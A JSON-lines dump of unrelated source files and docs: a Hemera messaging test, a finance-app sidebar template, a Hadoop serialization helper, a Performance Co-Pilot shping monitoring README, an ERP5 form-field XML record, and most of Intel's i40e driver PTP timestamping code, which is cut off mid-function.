it('Should send and receive', function(done) {\n const nats = require('nats').connect(natsUrl)\n const hemera = new Hemera(nats)\n \n hemera.ready(() => {\n hemera.add(\n {\n topic: 'math',\n cmd: 'add'\n },\n (resp, cb) => {\n cb(null, resp.a.number + resp.b.number)\n }\n )\n hemera.act(\n {\n topic: 'math',\n cmd: 'add',\n a: 1,\n b: 2\n },\n (err, resp) => {\n expect(err).not.to.be.exists()\n expect(resp).to.be.equals(3)\n hemera.close(done)\n }\n )\n })\n })\n})\n```\n"} {"text": "<aside class=\"control-sidebar control-sidebar-dark\">\n <div class=\"tab-content\">\n <div class=\"tab-panel active\" id=\"control-sidebar-home-tab\">\n <h3 class=\"control-sidebar-heading\">{{ 'create_new_stuff'|_ }}</h3>\n <ul class='control-sidebar-menu'>\n <li>\n <a href=\"{{ route('transactions.create', 'withdrawal') }}\">\n <i class=\"menu-icon fa fa-long-arrow-left bg-red\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_withdrawal'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('transactions.create', 'deposit') }}\">\n <i class=\"menu-icon fa fa-long-arrow-right bg-green\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_deposit'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('transactions.create', 'transfer') }}\">\n <i class=\"menu-icon fa fa-exchange bg-blue\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_transfer'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('accounts.create', 'asset') }}\">\n <i class=\"menu-icon fa fa-money bg-maroon\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_asset_account'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('accounts.create', 'expense') }}\">\n <i class=\"menu-icon fa fa-shopping-cart bg-maroon\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_expense_account'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('accounts.create', 'revenue') }}\">\n <i class=\"menu-icon fa fa-download bg-maroon\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_revenue_account'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('accounts.create', 'liabilities') }}\">\n <i class=\"menu-icon fa fa-ticket bg-maroon\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_liabilities_account'|_ }}</h4>\n </div>\n </a>\n </li>\n\n <li>\n <a href=\"{{ route('budgets.create') }}\">\n <i class=\"menu-icon fa fa-pie-chart bg-red\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_budget'|_ }}</h4>\n </div>\n </a>\n </li>\n\n <li>\n <a href=\"{{ route('categories.create') }}\">\n <i class=\"menu-icon fa fa-bookmark bg-red\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_category'|_ }}</h4>\n </div>\n </a>\n </li>\n\n <li>\n <a href=\"{{ route('piggy-banks.create') }}\">\n <i class=\"menu-icon fa fa-bullseye bg-teal\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_piggy_bank'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('bills.create') }}\">\n <i class=\"menu-icon fa fa-calendar-o bg-purple\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_bill'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('rules.create') }}\">\n <i class=\"menu-icon fa fa-random bg-red\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_rule'|_ }}</h4>\n </div>\n </a>\n </li>\n <li>\n <a href=\"{{ route('recurring.create') }}\">\n <i class=\"menu-icon fa fa-paint-brush bg-teal\"></i>\n\n <div class=\"menu-info\">\n <h4 class=\"control-sidebar-subheading\">{{ 'new_recurring_transaction'|_ }}</h4>\n </div>\n </a>\n </li>\n\n </ul>\n\n </div>\n </div>\n</aside>\n<div class='control-sidebar-bg'></div>\n"} {"text": "// == WritableTestBase\n// == WritableTestBase-Deserialize\nimport java.io.*;\nimport org.apache.hadoop.io.Writable;\nimport org.apache.hadoop.util.StringUtils;\n\npublic class WritableTestBase {\n \n // vv WritableTestBase\n public static byte[] serialize(Writable writable) throws IOException {\n ByteArrayOutputStream out = new ByteArrayOutputStream();\n DataOutputStream dataOut = new DataOutputStream(out);\n writable.write(dataOut);\n dataOut.close();\n return out.toByteArray();\n }\n // ^^ WritableTestBase\n \n // vv WritableTestBase-Deserialize\n public static byte[] deserialize(Writable writable, byte[] bytes)\n throws IOException {\n ByteArrayInputStream in = new ByteArrayInputStream(bytes);\n DataInputStream dataIn = new DataInputStream(in);\n writable.readFields(dataIn);\n dataIn.close();\n return bytes;\n }\n // ^^ WritableTestBase-Deserialize\n \n public static String serializeToString(Writable src) throws IOException {\n return StringUtils.byteToHexString(serialize(src));\n }\n \n public static String writeTo(Writable src, Writable dest) throws IOException {\n byte[] data = deserialize(dest, serialize(src));\n return StringUtils.byteToHexString(data);\n }\n\n}\n"} {"text": "Performance Co-Pilot shping PMDA for General Performance Monitoring\n===================================================================\n\nThis PMDA is designed to be configurable to monitor elapsed time and\nCPU time (user and system) for arbitrary applications that can be run\nfrom the Bourne shell. Each application is assumed to run to completion\nto probe or ping a particular service or dimension of system performance.\n\nThe metrics exported from the shping PMDA may be used to quantify of\nservice or service availability for both critical system services and\ntasks that well correlated to performance as perceived by end-users.\n\nThe sample configuration file includes examples to \"ping\":\n\n + sh(1) start up and exit\n + a simple task, date(1)\n + sum(1) for some simple user-mode computation\n + compilation and execution of an antipodean variant of the\n generic \"hullo world\" C program\n + DNS (default server, trivial and error cases)\n + yp service via ypcat(1)\n + rpcinfo(1) for RPC registration from portmap/rpcbind\n + mail delivery (telnet tcp port 25)\n + Usenet news from nntp (telnet tcp port 119)\n\nMetrics\n=======\n\nThe file ./help contains descriptions for all of the metrics exported\nby this PMDA.\n\nOnce the PMDA has been installed, the following command will list all\nthe available metrics and their explanatory \"help\" text:\n\n\t$ pminfo -fT shping\n\nInstallation of the shping PMDA\n===============================\n\n + # cd $PCP_PMDAS_DIR/shping\n\n + Check that there is no clash with the Performance Metrics Domain\n number defined in ./domain.h and the other PMDAs currently in use\n (see $PCP_PMCDCONF_PATH). If there is, edit ./domain.h and choose\n another domain number.\n\n + Then run the Install script (as root)\n\n\t# ./Install\n\n and choose both the \"collector\" and \"monitor\" installation\n configuration options.\n\n Answer the questions, which include the option to specify new or\n alternate commands to be run. See $PCP_PMDAS_DIR/shping/sample.conf\n for example specifications of commands.\n\nDe-installation\n===============\n\n + Simply use\n\n\t# cd $PCP_PMDAS_DIR/shping\n\t# ./Remove\n\nChanging the settings\n=====================\n\nThe cycle time and timeout period can be dynamically modified using\npmstore(1) for the metrics shping.control.cycletime and\nshping.control.timeout respectively.\n\nTo make permanent changes, re-run the Install script.\n\nTroubleshooting\n===============\n\n + After installing or restarting the agent, the PMCD log file\n ($PCP_LOG_DIR/pmcd/pmcd.log) and the PMDA log file\n ($PCP_LOG_DIR/pmcd/shping.log) should be checked for any warnings\n or errors.\n\n + If the Install script reports some warnings when checking the\n metrics, the problem should be listed in one of the log files.\n\n + Additional information can be logged if there appears to be\n problems. The PCP application debug flags will cause the PMDA to\n report additional information in $PCP_LOG_DIR/pmcd/shping.log. For\n details about the agent's debug flags, use the comand\n\n\t$ pminfo -T shping.control.debug\n"} {"text": "<?xml version=\"1.0\"?>\n<ZopeData>\n <record id=\"1\" aka=\"AAAAAAAAAAE=\">\n <pickle>\n <global name=\"ProxyField\" module=\"Products.ERP5Form.ProxyField\"/>\n </pickle>\n <pickle>\n <dictionary>\n <item>\n <key> <string>delegated_list</string> </key>\n <value>\n <list>\n <string>default</string>\n <string>extra</string>\n <string>items</string>\n <string>title</string>\n </list>\n </value>\n </item>\n <item>\n <key> <string>id</string> </key>\n <value> <string>your_classification</string> </value>\n </item>\n <item>\n <key> <string>message_values</string> </key>\n <value>\n <dictionary>\n <item>\n <key> <string>external_validator_failed</string> </key>\n <value> <string>The input failed the external validator.</string> </value>\n </item>\n </dictionary>\n </value>\n </item>\n <item>\n <key> <string>overrides</string> </key>\n <value>\n <dictionary>\n <item>\n <key> <string>field_id</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>form_id</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>target</string> </key>\n <value> <string></string> </value>\n </item>\n </dictionary>\n </value>\n </item>\n <item>\n <key> <string>tales</string> </key>\n <value>\n <dictionary>\n <item>\n <key> <string>default</string> </key>\n <value>\n <persistent> <string encoding=\"base64\">AAAAAAAAAAI=</string> </persistent>\n </value>\n </item>\n <item>\n <key> <string>extra</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>field_id</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>form_id</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>items</string> </key>\n <value>\n <persistent> <string encoding=\"base64\">AAAAAAAAAAM=</string> </persistent>\n </value>\n </item>\n <item>\n <key> <string>target</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>title</string> </key>\n <value> <string></string> </value>\n </item>\n </dictionary>\n </value>\n </item>\n <item>\n <key> <string>values</string> </key>\n <value>\n <dictionary>\n <item>\n <key> <string>default</string> </key>\n <value> <string></string> </value>\n </item>\n <item>\n <key> <string>extra</string> </key>\n <value> <string>style=\"margin-bottom:10px;\"</string> </value>\n </item>\n <item>\n <key> <string>field_id</string> </key>\n <value> <string>my_list_field</string> </value>\n </item>\n <item>\n <key> <string>form_id</string> </key>\n <value> <string>Base_viewIngestionFieldLibrary</string> </value>\n </item>\n <item>\n <key> <string>items</string> </key>\n <value>\n <list/>\n </value>\n </item>\n <item>\n <key> <string>target</string> </key>\n <value> <string>Click to edit the target</string> </value>\n </item>\n <item>\n <key> <string>title</string> </key>\n <value> <string>Classification</string> </value>\n </item>\n </dictionary>\n </value>\n </item>\n </dictionary>\n </pickle>\n </record>\n <record id=\"2\" aka=\"AAAAAAAAAAI=\">\n <pickle>\n <tuple>\n <global name=\"TALESMethod\" module=\"Products.Formulator.TALESField\"/>\n <tuple/>\n </tuple>\n </pickle>\n <pickle>\n <dictionary>\n <item>\n <key> <string>_text</string> </key>\n <value> <string>python: here.portal_preferences.getPreferredDocumentClassification()</string> </value>\n </item>\n </dictionary>\n </pickle>\n </record>\n <record id=\"3\" aka=\"AAAAAAAAAAM=\">\n <pickle>\n <tuple>\n <global name=\"TALESMethod\" module=\"Products.Formulator.TALESField\"/>\n <tuple/>\n </tuple>\n </pickle>\n <pickle>\n <dictionary>\n <item>\n <key> <string>_text</string> </key>\n <value> <string>python: here.portal_categories.classification.getCategoryChildLogicalPathItemList(display_none_category=1,filter_node=1,local_sort_id=\\'title\\',checked_permission=\\'View\\')</string> </value>\n </item>\n </dictionary>\n </pickle>\n </record>\n</ZopeData>\n"} {"text": "/*******************************************************************************\n *\n * Intel Ethernet Controller XL710 Family Linux Driver\n * Copyright(c) 2013 - 2014 Intel Corporation.\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms and conditions of the GNU General Public License,\n * version 2, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n * more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program. If not, see <http://www.gnu.org/licenses/>.\n *\n * The full GNU General Public License is included in this distribution in\n * the file called \"COPYING\".\n *\n * Contact Information:\n * e1000-devel Mailing List <e1000-devel@lists.sourceforge.net>\n * Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497\n *\n ******************************************************************************/\n\n#include \"i40e.h\"\n#include <linux/ptp_classify.h>\n\n/* The XL710 timesync is very much like Intel's 82599 design when it comes to\n * the fundamental clock design. However, the clock operations are much simpler\n * in the XL710 because the device supports a full 64 bits of nanoseconds.\n * Because the field is so wide, we can forgo the cycle counter and just\n * operate with the nanosecond field directly without fear of overflow.\n *\n * Much like the 82599, the update period is dependent upon the link speed:\n * At 40Gb link or no link, the period is 1.6ns.\n * At 10Gb link, the period is multiplied by 2. (3.2ns)\n * At 1Gb link, the period is multiplied by 20. (32ns)\n * 1588 functionality is not supported at 100Mbps.\n */\n#define I40E_PTP_40GB_INCVAL 0x0199999999ULL\n#define I40E_PTP_10GB_INCVAL 0x0333333333ULL\n#define I40E_PTP_1GB_INCVAL 0x2000000000ULL\n\n#define I40E_PRTTSYN_CTL1_TSYNTYPE_V1 BIT(I40E_PRTTSYN_CTL1_TSYNTYPE_SHIFT)\n#define I40E_PRTTSYN_CTL1_TSYNTYPE_V2 (2 << \\\n\t\t\t\t\tI40E_PRTTSYN_CTL1_TSYNTYPE_SHIFT)\n\n/**\n * i40e_ptp_read - Read the PHC time from the device\n * @pf: Board private structure\n * @ts: timespec structure to hold the current time value\n *\n * This function reads the PRTTSYN_TIME registers and stores them in a\n * timespec. However, since the registers are 64 bits of nanoseconds, we must\n * convert the result to a timespec before we can return.\n **/\nstatic void i40e_ptp_read(struct i40e_pf *pf, struct timespec64 *ts)\n{\n\tstruct i40e_hw *hw = &pf->hw;\n\tu32 hi, lo;\n\tu64 ns;\n\n\t/* The timer latches on the lowest register read. */\n\tlo = rd32(hw, I40E_PRTTSYN_TIME_L);\n\thi = rd32(hw, I40E_PRTTSYN_TIME_H);\n\n\tns = (((u64)hi) << 32) | lo;\n\n\t*ts = ns_to_timespec64(ns);\n}\n\n/**\n * i40e_ptp_write - Write the PHC time to the device\n * @pf: Board private structure\n * @ts: timespec structure that holds the new time value\n *\n * This function writes the PRTTSYN_TIME registers with the user value. Since\n * we receive a timespec from the stack, we must convert that timespec into\n * nanoseconds before programming the registers.\n **/\nstatic void i40e_ptp_write(struct i40e_pf *pf, const struct timespec64 *ts)\n{\n\tstruct i40e_hw *hw = &pf->hw;\n\tu64 ns = timespec64_to_ns(ts);\n\n\t/* The timer will not update until the high register is written, so\n\t * write the low register first.\n\t */\n\twr32(hw, I40E_PRTTSYN_TIME_L, ns & 0xFFFFFFFF);\n\twr32(hw, I40E_PRTTSYN_TIME_H, ns >> 32);\n}\n\n/**\n * i40e_ptp_convert_to_hwtstamp - Convert device clock to system time\n * @hwtstamps: Timestamp structure to update\n * @timestamp: Timestamp from the hardware\n *\n * We need to convert the NIC clock value into a hwtstamp which can be used by\n * the upper level timestamping functions. Since the timestamp is simply a 64-\n * bit nanosecond value, we can call ns_to_ktime directly to handle this.\n **/\nstatic void i40e_ptp_convert_to_hwtstamp(struct skb_shared_hwtstamps *hwtstamps,\n\t\t\t\t\t u64 timestamp)\n{\n\tmemset(hwtstamps, 0, sizeof(*hwtstamps));\n\n\thwtstamps->hwtstamp = ns_to_ktime(timestamp);\n}\n\n/**\n * i40e_ptp_adjfreq - Adjust the PHC frequency\n * @ptp: The PTP clock structure\n * @ppb: Parts per billion adjustment from the base\n *\n * Adjust the frequency of the PHC by the indicated parts per billion from the\n * base frequency.\n **/\nstatic int i40e_ptp_adjfreq(struct ptp_clock_info *ptp, s32 ppb)\n{\n\tstruct i40e_pf *pf = container_of(ptp, struct i40e_pf, ptp_caps);\n\tstruct i40e_hw *hw = &pf->hw;\n\tu64 adj, freq, diff;\n\tint neg_adj = 0;\n\n\tif (ppb < 0) {\n\t\tneg_adj = 1;\n\t\tppb = -ppb;\n\t}\n\n\tsmp_mb(); /* Force any pending update before accessing. */\n\tadj = ACCESS_ONCE(pf->ptp_base_adj);\n\n\tfreq = adj;\n\tfreq *= ppb;\n\tdiff = div_u64(freq, 1000000000ULL);\n\n\tif (neg_adj)\n\t\tadj -= diff;\n\telse\n\t\tadj += diff;\n\n\twr32(hw, I40E_PRTTSYN_INC_L, adj & 0xFFFFFFFF);\n\twr32(hw, I40E_PRTTSYN_INC_H, adj >> 32);\n\n\treturn 0;\n}\n\n/**\n * i40e_ptp_adjtime - Adjust the PHC time\n * @ptp: The PTP clock structure\n * @delta: Offset in nanoseconds to adjust the PHC time by\n *\n * Adjust the frequency of the PHC by the indicated parts per billion from the\n * base frequency.\n **/\nstatic int i40e_ptp_adjtime(struct ptp_clock_info *ptp, s64 delta)\n{\n\tstruct i40e_pf *pf = container_of(ptp, struct i40e_pf, ptp_caps);\n\tstruct timespec64 now, then;\n\n\tthen = ns_to_timespec64(delta);\n\tmutex_lock(&pf->tmreg_lock);\n\n\ti40e_ptp_read(pf, &now);\n\tnow = timespec64_add(now, then);\n\ti40e_ptp_write(pf, (const struct timespec64 *)&now);\n\n\tmutex_unlock(&pf->tmreg_lock);\n\n\treturn 0;\n}\n\n/**\n * i40e_ptp_gettime - Get the time of the PHC\n * @ptp: The PTP clock structure\n * @ts: timespec structure to hold the current time value\n *\n * Read the device clock and return the correct value on ns, after converting it\n * into a timespec struct.\n **/\nstatic int i40e_ptp_gettime(struct ptp_clock_info *ptp, struct timespec64 *ts)\n{\n\tstruct i40e_pf *pf = container_of(ptp, struct i40e_pf, ptp_caps);\n\n\tmutex_lock(&pf->tmreg_lock);\n\ti40e_ptp_read(pf, ts);\n\tmutex_unlock(&pf->tmreg_lock);\n\n\treturn 0;\n}\n\n/**\n * i40e_ptp_settime - Set the time of the PHC\n * @ptp: The PTP clock structure\n * @ts: timespec structure that holds the new time value\n *\n * Set the device clock to the user input value. The conversion from timespec\n * to ns happens in the write function.\n **/\nstatic int i40e_ptp_settime(struct ptp_clock_info *ptp,\n\t\t\t const struct timespec64 *ts)\n{\n\tstruct i40e_pf *pf = container_of(ptp, struct i40e_pf, ptp_caps);\n\n\tmutex_lock(&pf->tmreg_lock);\n\ti40e_ptp_write(pf, ts);\n\tmutex_unlock(&pf->tmreg_lock);\n\n\treturn 0;\n}\n\n/**\n * i40e_ptp_feature_enable - Enable/disable ancillary features of the PHC subsystem\n * @ptp: The PTP clock structure\n * @rq: The requested feature to change\n * @on: Enable/disable flag\n *\n * The XL710 does not support any of the ancillary features of the PHC\n * subsystem, so this function may just return.\n **/\nstatic int i40e_ptp_feature_enable(struct ptp_clock_info *ptp,\n\t\t\t\t struct ptp_clock_request *rq, int on)\n{\n\treturn -EOPNOTSUPP;\n}\n\n/**\n * i40e_ptp_update_latch_events - Read I40E_PRTTSYN_STAT_1 and latch events\n * @pf: the PF data structure\n *\n * This function reads I40E_PRTTSYN_STAT_1 and updates the corresponding timers\n * for noticed latch events. This allows the driver to keep track of the first\n * time a latch event was noticed which will be used to help clear out Rx\n * timestamps for packets that got dropped or lost.\n *\n * This function will return the current value of I40E_PRTTSYN_STAT_1 and is\n * expected to be called only while under the ptp_rx_lock.\n **/\nstatic u32 i40e_ptp_get_rx_events(struct i40e_pf *pf)\n{\n\tstruct i40e_hw *hw = &pf->hw;\n\tu32 prttsyn_stat, new_latch_events;\n\tint i;\n\n\tprttsyn_stat = rd32(hw, I40E_PRTTSYN_STAT_1);\n\tnew_latch_events = prttsyn_stat & ~pf->latch_event_flags;\n\n\t/* Update the jiffies time for any newly latched timestamp. This\n\t * ensures that we store the time that we first discovered a timestamp\n\t * was latched by the hardware. The service task will later determine\n\t * if we should free the latch and drop that timestamp should too much\n\t * time pass. This flow ensures that we only update jiffies for new\n\t * events latched since the last time we checked, and not all events\n\t * currently latched, so that the service task accounting remains\n\t * accurate.\n\t */\n\tfor (i = 0; i < 4; i++) {\n\t\tif (new_latch_events & BIT(i))\n\t\t\tpf->latch_events[i] = jiffies;\n\t}\n\n\t/* Finally, we store the current status of the Rx timestamp latches */\n\tpf->latch_event_flags = prttsyn_stat;\n\n\treturn prttsyn_stat;\n}\n\n/**\n * i40e_ptp_rx_hang - Detect error case when Rx timestamp registers are hung\n * @vsi: The VSI with the rings relevant to 1588\n *\n * This watchdog task is scheduled to detect error case where hardware has\n * dropped an Rx packet that was timestamped when the ring is full. The\n * particular error is rare but leaves the device in a state unable to timestamp\n * any future packets.\n **/\nvoid i40e_ptp_rx_hang(struct i40e_vsi *vsi)\n{\n\tstruct i40e_pf *pf = vsi->back;\n\tstruct i40e_hw *hw = &pf->hw;\n\tunsigned int i, cleared = 0;\n\n\t/* Since we cannot turn off the Rx timestamp logic if the device is\n\t * configured for Tx timestamping, we check if Rx timestamping is\n\t * configured. We don't want to spuriously warn about Rx timestamp\n\t * hangs if we don't care about the timestamps.\n\t */\n\tif (!(pf->flags & I40E_FLAG_PTP) || !pf->ptp_rx)\n\t\treturn;\n\n\tspin_lock_bh(&pf->ptp_rx_lock);\n\n\t/* Update current latch times for Rx events */\n\ti40e_ptp_get_rx_events(pf);\n\n\t/* Check all the currently latched Rx events and see whether they have\n\t * been latched for over a second. It is assumed that any timestamp\n\t * should have been cleared within this time, or else it was captured\n\t * for a dropped frame that the driver never received. Thus, we will\n\t * clear any timestamp that has been latched for over 1 second.\n\t */\n\tfor (i = 0; i < 4; i++) {\n\t\tif ((pf->latch_event_flags & BIT(i)) &&\n\t\t time_is_before_jiffies(pf->latch_events[i] + HZ)) {\n\t\t\trd32(hw, I40E_PRTTSYN_RXTIME_H(i));\n\t\t\tpf->latch_event_flags &= ~BIT(i);\n\t\t\tcleared++;\n\t\t}\n\t}\n\n\tspin_unlock_bh(&pf->ptp_rx_lock);\n\n\t/* Log a warning if more than 2 timestamps got dropped in the same\n\t * check. We don't want to warn about all drops because it can occur\n\t * in normal scenarios such as PTP frames on multicast addresses we\n\t * aren't listening to. However, administrator should know if this is\n\t * the reason packets aren't receiving timestamps.\n\t */\n\tif (cleared > 2)\n\t\tdev_dbg(&pf->pdev->dev,\n\t\t\t\"Dropped %d missed RXTIME timestamp events\\n\",\n\t\t\tcleared);\n\n\t/* Finally, update the rx_hwtstamp_cleared counter */\n\tpf->rx_hwtstamp_cleared += cleared;\n}\n\n/**\n * i40e_ptp_tx_hwtstamp - Utility function which returns the Tx timestamp\n * @pf: Board private structure\n *\n * Read the value of the Tx timestamp from the registers, convert it into a\n * value consumable by the stack, and store that result into the shhwtstamps\n * struct before returning it up the stack.\n **/\nvoid i40e_ptp_tx_hwtstamp(struct i40e_pf *pf)\n{\n\tstruct skb_shared_hwtstamps shhwtstamps;\n\tstruct i40e_hw *hw = &pf->hw;\n\tu32 hi, lo;\n\tu64 ns;\n\n\tif (!(pf->flags & I40E_FLAG_PTP) || !pf->ptp_tx)\n\t\treturn;\n\n\t/* don't attempt to timestamp if we don't have an skb */\n\tif (!pf->ptp_tx_skb)\n\t\treturn;\n\n\tlo = rd32(hw, I40E_PRTTSYN_TXTIME_L);\n\thi = rd32(hw, I40E_PRTTSYN_TXTIME_H);\n\n\tns = (((u64)hi) << 32) | lo;\n\n\ti40e_ptp_convert_to_hwtstamp(&shhwtstamps, ns);\n\tskb_tstamp_tx(pf->ptp_tx_skb, &shhwtstamps);\n\tdev_kfree_skb_any(pf->ptp_tx_skb);\n\tpf->ptp_tx_skb = NULL;\n\tclear_bit_unlock(__I40E_PTP_TX_IN_PROGRESS, &pf->state);\n}\n\n/**\n * i40e_ptp_rx_hwtstamp - Utility function which checks for an Rx timestamp\n * @pf: Board private structure\n * @skb: Particular skb to send timestamp with\n * @index: Index into the receive timestamp registers for the timestamp\n *\n * The XL710 receives a notification in the receive descriptor with an offset\n * into the set of RXTIME registers where the timestamp is for that skb. This\n * function goes and fetches the receive timestamp from that offset, if a valid\n * one exists. The RXTIME registers are in ns, so we must convert the result\n * first.\n **/\nvoid i40e_ptp_rx_hwtstamp(struct i40e_pf *pf, struct sk_buff *skb, u8 index)\n{\n\tu32 prttsyn_stat, hi, lo;\n\tstruct i40e_hw *hw;\n\tu64 ns;\n\n\t/* Since we cannot turn off the Rx timestamp logic if the device is\n\t * doing Tx timestamping, check if Rx timestamping is configured.\n\t */\n\tif (!(pf->flags & I40E_FLAG_PTP) || !pf->ptp_rx)\n\t\treturn;\n\n\thw = &pf->hw;\n\n\tspin_lock_bh(&pf->ptp_rx_lock);\n\n\t/* Get current Rx events and update latch times */\n\tprttsyn_stat = i40e_ptp_get_rx_events(pf);\n\n\t/* TODO: Should we warn about missing Rx timestamp event? */\n\tif (!(prttsyn_stat & BIT(index))) {\n\t\tspin_unlock_bh(&pf->ptp_rx_lock);\n\t\treturn;\n\t}\n\n\t/* Clear the latched event since we're about to read its register */\n\tpf->latch_event_flags &= ~BIT(index);\n\n\tlo = rd32(hw, I40E_PRTTSYN_RXTIME_L(index));\n\thi = rd32(hw, I40E_PRTTSYN_RXTIME_H(index));\n\n\tspin_unlock_bh(&pf->ptp_rx_lock);\n\n\tns = (((u64)hi) << 32) | lo;\n\n\ti40e_ptp_convert_to_hwtstamp(skb_hwtstamps(skb), ns);\n}\n\n/**\n * i40e_ptp_set_increment - Utility function to update clock increment rate\n * @pf: Board private structure\n *\n * During a link change, the DMA frequency that drives the 1588 logic will\n * change. In order to keep the PRTTSYN_TIME registers in units of nanoseconds,\n * we must update the increment value per clock tick.\n **/\nvoid i40e_ptp_set_increment(struct i40e_pf *pf)\n{\n\tstruct i40e_link_status *hw_link_info;\n\tstruct i40e_hw *hw = &pf->hw;\n\tu64 incval;\n\n\thw_link_info = &hw->phy.link_info;\n\n\ti40e_aq_get_link_info(&pf->hw, true, NULL, NULL);\n\n\tswitch (hw_link_info->link_speed) {\n\tcase I40E_LINK_SPEED_10GB:\n\t\tincval = I40E_PTP_10GB_INCVAL;\n\t\tbreak;\n\tcase I40E_LINK_SPEED_1GB:\n\t\tincval = I40E_PTP_1GB_INCVAL;\n\t\tbreak;\n\tcase I40E_LINK_SPEED_100MB:\n\t{\n\t\tstatic int warn_once;\n\n\t\tif (!warn_once) {\n\t\t\tdev_warn(&pf->pdev->dev,\n\t\t\t\t \"1588 functionality is not supported at 100 Mbps. Stopping the PHC.\\n\");\n\t\t\twarn_once++;\n\t\t}\n\t\tincval = 0;\n\t\tbreak;\n\t}\n\tcase I40E_LINK_SPEED_40GB:\n\tdefault:\n\t\tincval = I40E_PTP_40GB_INCVAL;\n\t\tbreak;\n\t}\n\n\t/* Write the new increment value into the increment register. The\n\t * hardware will not update the clock until both registers have been\n\t * written.\n\t */\n\twr32(hw, I40E_PRTTSYN_INC_L, incval & 0xFFFFFFFF);\n\twr32(hw, I40E_PRTTSYN_INC_H, incval >> 32);\n\n\t/* Update the base adjustement value. */\n\tACCESS_ONCE(pf->ptp_base_adj) = incval;\n\tsmp_mb(); /* Force the above update. */\n}\n\n/**\n * i40e_ptp_get_ts_config - ioctl interface to read the HW timestamping\n * @pf: Board private structure\n * @ifreq: ioctl data\n *\n * Obtain the current hardware timestamping settigs as requested. To do this,\n * keep a shadow copy of the timestamp settings rather than attempting to\n * deconstruct it from the registers.\n **/\nint i40e_ptp_get_ts_config(struct i40e_pf *pf, struct ifreq *ifr)\n{\n\tstruct hwtstamp_config *config = &pf->tstamp_config;\n\n\tif (!(pf->flags & I40E_FLAG_PTP))\n\t\treturn -EOPNOTSUPP;\n\n\treturn copy_to_user(ifr->ifr_data, config, sizeof(*config)) ?\n\t\t-EFAULT : 0;\n}\n\n/**\n * i40e_ptp_set_timestamp_mode - setup hardware for requested timestamp mode\n * @pf: Board private structure\n * @config: hwtstamp settings requested or saved\n *\n * Control hardware registers to enter the specific mode requested by the\n * user. Also used during reset path to ensure that timestamp settings are\n * maintained.\n *\n * Note: modifies config in place, and may update the requested mode to be\n * more broad if the specific filter is not directly supported.\n **/\nstatic int i40e_ptp_set_timestamp_mode(struct i40e_pf *pf,\n\t\t\t\t struct hwtstamp_config *config)\n{\n\tstruct i40e_hw *hw = &pf->hw;\n\tu32 tsyntype, regval;\n\n\t/* Reserved for future extensions. */\n\tif (config->flags)\n\t\treturn -EINVAL;\n\n\tswitch (config->tx_type) {\n\tcase HWTSTAMP_TX_OFF:\n\t\tpf->ptp_tx = false;\n\t\tbreak;\n\tcase HWTSTAMP_TX_ON:\n\t\tpf->ptp_tx = true;\n\t\tbreak;\n\tdefault:\n\t\treturn -ERANGE;\n\t}\n\n\tswitch (config->rx_filter) {\n\tcase HWTSTAMP_FILTER_NONE:\n\t\tpf->ptp_rx = false;\n\t\t/* We set the type to V1, but do not enable UDP packet\n\t\t * recognition. In this way, we should be as close to\n\t\t * disabling PTP Rx timestamps as possible since V1 packets\n\t\t * are always UDP, since L2 packets are a V2 feature.\n\t\t */\n\t\ttsyntype = I40E_PRTTSYN_CTL1_TSYNTYPE_V1;\n\t\tbreak;\n\tcase HWTSTAMP_FILTER_PTP_V1_L4_SYNC:\n\tcase HWTSTAMP_FILTER_PTP_V1_L4_DELAY_REQ:\n\tcase HWTSTAMP_FILTER_PTP_V1_L4_EVENT:\n\t\tif (!(pf->flags & I40E_FLAG_PTP_L4_CAPABLE))\n\t\t\treturn -ERANGE;\n\t\tpf->ptp_rx = true;\n\t\ttsyntype = I40E_PRTTSYN_CTL1_V1MESSTYPE0_MASK |\n\t\t\t I40E_PRTTSYN_CTL1_TSYNTYPE_V1 |\n\t\t\t I40E_PRTTSYN_CTL1_UDP_ENA_MASK;\n\t\tconfig->rx_filter = HWTSTAMP_FILTER_PTP_V1_L4_EVENT;\n\t\tbreak;\n\tcase HWTSTAMP_FILTER_PTP_V2_EVENT:\n\tcase HWTSTAMP_FILTER_PTP_V2_L4_EVENT:\n\tcase 